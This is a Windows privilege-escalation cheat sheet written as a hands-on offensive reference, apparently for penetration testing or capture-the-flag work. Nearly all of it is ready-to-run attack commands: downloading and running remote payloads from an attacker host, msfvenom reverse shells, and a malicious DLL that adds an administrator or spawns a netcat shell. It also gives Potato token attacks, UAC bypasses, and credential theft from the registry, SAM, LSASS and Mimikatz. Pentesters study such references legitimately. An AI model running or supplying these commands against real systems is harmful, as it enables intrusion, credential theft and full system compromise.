Windows privesc reference. The methodology is different from Linux — services, tokens, and misconfigurations are your bread and butter. Run the enumeration, find the vector, execute.


Initial Enumeration

System Info

:: Basic info
whoami
whoami /priv
whoami /groups
hostname
systeminfo

:: OS and architecture
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

:: Hotfixes — missing patches = potential kernel exploits
wmic qfe list brief
systeminfo | findstr /B /C:"KB"

:: Network
ipconfig /all
route print
netstat -ano
arp -a
# PowerShell equivalents
[System.Environment]::OSVersion
Get-HotFix
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}

Users and Groups

net user
net user Administrator
net localgroup
net localgroup Administrators

Tip: whoami /priv is the sudo -l of Windows. Check it immediately.

Antivirus / Firewall

:: Check Windows Defender
sc query WinDefend

:: Firewall
netsh advfirewall show allprofiles
netsh firewall show state

:: Check if AMSI is active (PowerShell)
Get-MpComputerStatus
Get-MpPreference | Select-Object -Property ExclusionPath

Automated Enumeration

WinPEAS

:: Transfer and run
certutil -urlcache -f http://%ATTACKER%:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe

:: Or run from memory (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://%ATTACKER%:8000/winPEAS.bat')

PowerUp

. .\PowerUp.ps1
Invoke-AllChecks

# Or one-liner
IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/PowerUp.ps1'); Invoke-AllChecks

Seatbelt

.\Seatbelt.exe -group=all

SharpUp

.\SharpUp.exe audit

Service Misconfigurations

Is the single biggest category for Windows privesc. Three main flavors.

Unquoted Service Paths

If the service path has spaces and isn’t quoted, Windows tries intermediate paths.

C:\Program Files\My Service\service.exe tries:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My Service\service.exe
:: Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode
:: Check if you can write to an intermediate directory
icacls "C:\Program Files\My Service"

:: Drop your payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f exe -o My.exe
copy My.exe "C:\Program Files\My.exe"

:: Restart the service (need permissions or wait for reboot)
sc stop "ServiceName"
sc start "ServiceName"

Weak Service Permissions

You can modify the service configuration → point it to your binary.

:: Check service permissions with accesschk
accesschk64.exe /accepteula -uwcqv "Everyone" *
accesschk64.exe /accepteula -uwcqv "Users" *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
accesschk64.exe /accepteula -uwcqv %USERNAME% *

:: Check specific service
sc qc "ServiceName"
accesschk64.exe /accepteula -ucqv "ServiceName"

If you have SERVICE_CHANGE_CONFIG:

:: Change binpath to your payload
sc config "ServiceName" binpath= "C:\Users\Public\shell.exe"
sc stop "ServiceName"
sc start "ServiceName"

:: Or add yourself as admin
sc config "ServiceName" binpath= "net localgroup Administrators %USERNAME% /add"
sc stop "ServiceName"
sc start "ServiceName"

Weak Service Binary Permissions

The service binary itself is writable.

:: Check permissions on service binary
icacls "C:\path\to\service.exe"

Look for (F) Full control, (M) Modify, or (W) Write for your user/group.

:: Replace the binary
move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"
copy C:\Users\Public\shell.exe "C:\path\to\service.exe"
sc stop "ServiceName"
sc start "ServiceName"

Service Registry Permissions

:: Check registry permissions for services
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List

:: If writable, change ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f

DLL Hijacking

Application loads a DLL from a writable location, or the DLL is missing entirely.

Finding DLL Hijacking Opportunities

:: Use Process Monitor (if you have GUI access)
:: Filter: Result = "NAME NOT FOUND" and Path ends with ".dll"

:: Or check PATH directories for write access
echo %PATH%
:: Check each directory with icacls
icacls "C:\path\in\PATH"

Exploitation

// malicious.c — generates reverse shell or adds admin
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
    if (ul_reason == DLL_PROCESS_ATTACH) {
        system("net localgroup Administrators youruser /add");
        // Or: system("C:\\Users\\Public\\nc.exe -e cmd.exe ATTACKER 9001");
    }
    return TRUE;
}
# Cross-compile on Kali
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll
:: Place DLL in the expected location
copy malicious.dll "C:\path\to\expected\missing.dll"
:: Restart the service or wait for it

Gotcha: When hijacking a DLL for a service, the DLL must export the functions the service expects, or the service crashes on start. For a simple missing-DLL hijack this usually isn’t an issue.


Token Impersonation / Potato Attacks

If whoami /priv shows SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege — you’re in business. Common on IIS, MSSQL, and service accounts.

Which Potato to Use

ToolWorks OnNotes
GodPotatoWindows 2012 - 2022, Win 8 - 11Best all-rounder, try first
PrintSpooferWindows 10 / Server 2016-2019Needs Print Spooler running
SweetPotatoVariousCombines multiple techniques
JuicyPotatoNGWindows 10 / Server 2019Updated JuicyPotato
RoguePotatoWindows 10 / Server 2019Needs controlled port 135
JuicyPotatoWindows 7-10 / Server 2008-2016Classic, doesn’t work on 2019+
:: GodPotato (try this first)
.\GodPotato.exe -cmd "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\GodPotato.exe -cmd "net localgroup Administrators $USERNAME /add"

:: PrintSpoofer
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\PrintSpoofer64.exe -i -c cmd

:: SweetPotato
.\SweetPotato.exe -e EfsRpc -p C:\Users\Public\nc.exe -a "-e cmd.exe $ATTACKER 9001"

:: JuicyPotato (older systems)
.\JuicyPotato.exe -l 1337 -p C:\Users\Public\shell.exe -t * -c {CLSID}

Tip: GodPotato is the current go-to. Works on recent Windows versions and doesn’t need a specific CLSID.


AlwaysInstallElevated

If both of these registry keys are set to 1, any user can install MSI packages as SYSTEM.

:: Check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# PowerShell check
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Get-ItemProperty -Path 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

Exploitation

# Generate malicious MSI on attacker
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f msi -o shell.msi
:: Install on target
msiexec /quiet /qn /i C:\Users\Public\shell.msi

Credential Hunting

Registry

:: Saved credentials
cmdkey /list

:: If saved creds exist for admin
runas /savecred /user:Administrator cmd.exe

:: Autologon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

:: VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"

:: PuTTY stored sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

:: SNMP community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"

:: Search registry for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Files

:: Common password files
dir /s /b C:\Users\*.txt 2>nul | findstr /i "pass"
dir /s /b C:\Users\*.xml 2>nul
dir /s /b C:\Users\*.ini 2>nul
dir /s /b C:\Users\*.config 2>nul

:: Unattend / sysprep files (often contain passwords)
dir /s /b C:\unattend.xml C:\sysprep.xml C:\sysprep.inf C:\Unattended.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\unattend\Unattend.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul

:: IIS config
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul

:: PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# PowerShell history for all users
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>$null | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ }

SAM and SYSTEM Backup

:: If you can access these, dump hashes offline
reg save HKLM\SAM C:\Users\Public\sam.bak
reg save HKLM\SYSTEM C:\Users\Public\system.bak

:: Or check for backup copies
dir /s /b C:\Windows\repair\SAM 2>nul
dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul
# On attacker — extract hashes
secretsdump.py -sam sam.bak -system system.bak LOCAL

DPAPI

:: List DPAPI credential blobs
dir /a C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

:: Mimikatz to decrypt
dpapi::cred /in:C:\Users\user\AppData\...\credential_blob

Scheduled Tasks

:: List all scheduled tasks
schtasks /query /fo LIST /v

:: Look for tasks running as SYSTEM with writable binaries
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"

:: Check permissions on the task's binary
icacls "C:\path\to\task\binary.exe"
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq 'SYSTEM'} | ForEach-Object { $_.Actions }

If the binary is writable or the path is hijackable, replace it and wait for execution.


Installed Software

:: 32-bit
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"

:: 64-bit
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"

:: Or just look
dir "C:\Program Files"
dir "C:\Program Files (x86)"

Cross-reference versions with searchsploit and Google. Outdated software with local privilege escalation vulns is common.

searchsploit "software name"

Kernel Exploits

systeminfo
wmic qfe list brief
# On attacker — use Windows Exploit Suggester
python3 windows-exploit-suggester.py --database 2026-03-24-mssb.xls --systeminfo sysinfo.txt

# Or wesng
python3 wes.py sysinfo.txt

Notable Windows Kernel / System Exploits

CVENameAffected
MS16-032Secondary LogonWindows 7-10, Server 2008-2012
CVE-2020-0787BitsArbitraryFileMoveExploitWindows 10
CVE-2020-1472ZerologonDomain Controllers
CVE-2021-1675PrintNightmareAll Windows with Print Spooler
CVE-2021-36934HiveNightmare/SeriousSAMWindows 10 builds 1809-21H1
CVE-2022-21999SpoolFoolWindows 10/11, Server 2019/2022
:: PrintNightmare (local privesc variant)
:: Check if Print Spooler is running
sc query spooler

:: HiveNightmare — check if SAM shadow copies are readable
icacls C:\Windows\System32\config\SAM
:: If "BUILTIN\Users:(I)(RX)" → vulnerable
:: Exploit:
.\HiveNightmare.exe

UAC Bypass

When you’re in the Administrators group but running medium integrity.

:: Check integrity level
whoami /groups | findstr "Mandatory"

:: If Medium Mandatory Level — UAC is blocking you
# Common UAC bypass — fodhelper
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd /c C:\Users\Public\shell.exe" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Recurse -Force
:: eventvwr bypass
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd /c C:\Users\Public\shell.exe" /f
eventvwr.msc

Sensitive Privilege Abuse

From whoami /priv:

PrivilegeAbuse
SeImpersonatePrivilegePotato attacks (see above)
SeAssignPrimaryTokenPrivilegePotato attacks
SeBackupPrivilegeCopy any file (SAM, NTDS.dit)
SeRestorePrivilegeWrite any file → DLL hijack
SeTakeOwnershipPrivilegeTake ownership of files/registry keys
SeDebugPrivilegeInject into/dump any process (LSASS)
SeLoadDriverPrivilegeLoad kernel driver → kernel code exec
SeManageVolumePrivilegeRead any file via volume shadow copy

SeBackupPrivilege

:: Copy SAM and SYSTEM
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system

:: Or use robocopy with backup semantics
robocopy /b C:\Users\Administrator\Desktop C:\temp\ secret.txt

SeDebugPrivilege

:: Dump LSASS
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

:: Or use Mimikatz
privilege::debug
sekurlsa::logonpasswords

SeManageVolumePrivilege

:: Create shadow copy
vssadmin create shadow /for=C:

:: Copy files from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\

Port Forwarding from Windows

Internal services you can’t reach from your attacker box.

:: netsh (built-in, no tools needed)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=127.0.0.1 connectport=8080

:: Chisel
:: Attacker: chisel server --reverse --port 8001
.\chisel.exe client ATTACKER:8001 R:8080:127.0.0.1:8080

:: plink (PuTTY command-line)
plink.exe -ssh -l user -pw password -R 8080:127.0.0.1:8080 ATTACKER

File Transfers to Windows

:: certutil
certutil -urlcache -f http://%ATTACKER%:8000/file.exe file.exe

:: PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER:8000/file.exe','C:\Users\Public\file.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://$ATTACKER:8000/file.exe' -OutFile 'C:\Users\Public\file.exe'"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/script.ps1')"

:: SMB (easiest for large files)
:: Attacker: impacket-smbserver share . -smb2support -username user -password pass
net use \\$ATTACKER\share /user:user pass
copy \\$ATTACKER\share\file.exe C:\Users\Public\

:: Bitsadmin
bitsadmin /transfer job /download /priority high http://$ATTACKER:8000/file.exe C:\Users\Public\file.exe

Gotcha: certutil gets flagged by Defender now. PowerShell Invoke-WebRequest (iwr) is usually fine. SMB transfer is the most reliable for large files.


Quick Wins Checklist

  1. whoami /priv — SeImpersonate = potato = SYSTEM
  2. Unquoted service paths with writable intermediate directories
  3. Weak service permissions — change binpath
  4. AlwaysInstallElevated — msi = SYSTEM
  5. Saved credentialscmdkey /listrunas /savecred
  6. Autologon passwords in registry
  7. Unattend.xml / sysprep files — plaintext or base64 passwords
  8. PowerShell history — people type passwords in PowerShell
  9. Scheduled tasks with writable binaries
  10. Installed software with known local privesc CVEs
  11. PrintNightmare — if Print Spooler is running
  12. SAM/SYSTEM backups — HiveNightmare on Win10